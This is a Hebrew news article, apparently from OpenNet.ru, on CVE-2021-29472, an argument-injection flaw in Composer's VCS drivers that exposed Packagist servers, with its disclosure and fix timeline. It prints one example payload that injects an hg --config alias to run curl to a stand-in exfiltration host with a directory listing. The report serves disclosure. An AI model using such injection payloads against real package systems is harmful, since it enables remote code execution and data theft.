פגיעות במנהל החבילות של Composer המאפשרת פגיעה במאגר ה-PHP של Packagist

זוהתה פגיעות קריטית (CVE-2021-29472) במנהל התלות של Composer המאפשרת לבצע פקודות שרירותיות במערכת בעת עיבוד חבילה עם ערך URL בפורמט מיוחד המציין את הכתובת להורדת קוד המקור. הבעיה מתרחשת ברכיבי GitDriver, SvnDriver ו-HgDriver המשמשים בעת שימוש במערכות בקרת מקור Git, Subversion ו-Mercurial. הפגיעות נפתרה במהדורות Composer 1.10.22 ו-2.0.13.

יצוין במיוחד שהבעיה השפיעה בעיקר על מאגר החבילות ברירת המחדל של Composer, Packagist, המכיל 306 חבילות עבור מפתחי PHP ומשרת יותר מ-1.4 מיליארד הורדות בחודש. הניסוי הראה שאם יש ידע על הבעיה, התוקפים יכולים להשיג שליטה על תשתית ה-Packagist וליירט את האישורים של המתחזקים או להפנות הורדות חבילות לשרת של צד שלישי, ולארגן משלוח של גרסאות חבילה עם שינויים זדוניים כדי להחליף דלת אחורית במהלך תהליך התקנת התלות.

הסכנה עבור משתמשי הקצה מוגבלת לעובדה שהתוכן של composer.json נקבע בדרך כלל על ידי המשתמש, וקישורי מקור משודרים בעת גישה למאגרים של צד שלישי, שבדרך כלל מהימנים. המכה העיקרית נפלה על מאגר Packagist.org ועל שירות ה-Private Packagist, שהתקשר ל-Composer עם העברת הנתונים שהתקבלו ממשתמשים. תוקפים יכולים לבצע את הקוד שלהם בשרתי Packagist על ידי הצבת חבילה שתוכננה במיוחד.

צוות Packagist תיקן את הפגיעות תוך 12 שעות מרגע הדיווח על הפגיעות. החוקרים הודיעו באופן פרטי למפתחי Packagist ב-22 באפריל, והבעיה תוקנה באותו יום. עדכון פומבי ל-Composer המתייחס לפגיעות פורסם ב-27 באפריל, עם הפרטים שנחשפו ב-28 באפריל. ביקורת של יומנים בשרתי Packagist לא גילתה פעילות חשודה הקשורה לפגיעות.

הבעיה נגרמת על ידי באג בקוד אימות כתובת האתר בקובץ השורש composer.json ובקישורי הורדת המקור. השגיאה קיימת בקוד מאז נובמבר 2011. Packagist משתמש בשכבות מיוחדות כדי לארגן טעינת קוד מבלי להיות קשורה למערכת בקרת מקור ספציפית, אשר מבוצעות על ידי קריאה "fromShellCommandline" והעברת ארגומנטים של שורת הפקודה. לדוגמה, עבור git, הפקודה "git ls-remote -heads $URL" נקראת, כאשר כתובת ה-URL מעובדת באמצעות שיטת "ProcessExecutor::escape($url)", בורחת מבנים שעלולים להיות מסוכנים כגון "$(. ..)" או "` ...`".

ליבת הבעיה היא ששיטת ProcessExecutor::escape לא ברחה מהרצף "—", מה שאפשר לציין כל פרמטר קריאה נוסף בכתובת ה-URL. בריחה כזו הייתה חסרה במנהלי התקנים של GitDriver.php, SvnDriver.php ו-HgDriver.php. מתקפת GitDriver.php נבלמה על ידי העובדה שהפקודה "git ls-remote" לא תמכה בציון ארגומנטים נוספים לאחר הנתיב. התקפה על HgDriver.php התבררה כאפשרית על ידי העברת הפרמטר "--config" לכלי השירות "hq", המאפשר לך לארגן את הביצוע של כל פקודה על ידי מניפולציה של ההגדרה "alias.identify". לדוגמה, כדי להוריד ולהפעיל קוד על ידי הפעלת כלי השירות curl, תוכל לציין: —config=alias.identify=!curl http://exfiltration-host.tld —data "$(ls -alh)"

על ידי פרסום חבילת בדיקה עם כתובת URL דומה ל-Packagist, החוקרים אימתו כי לאחר הפרסום, השרת שלהם קיבל בקשת HTTP מאחד משרתי Packagist ב-AWS המכילה רשימה של קבצים בספרייה הנוכחית.

מקור: OpenNet.ru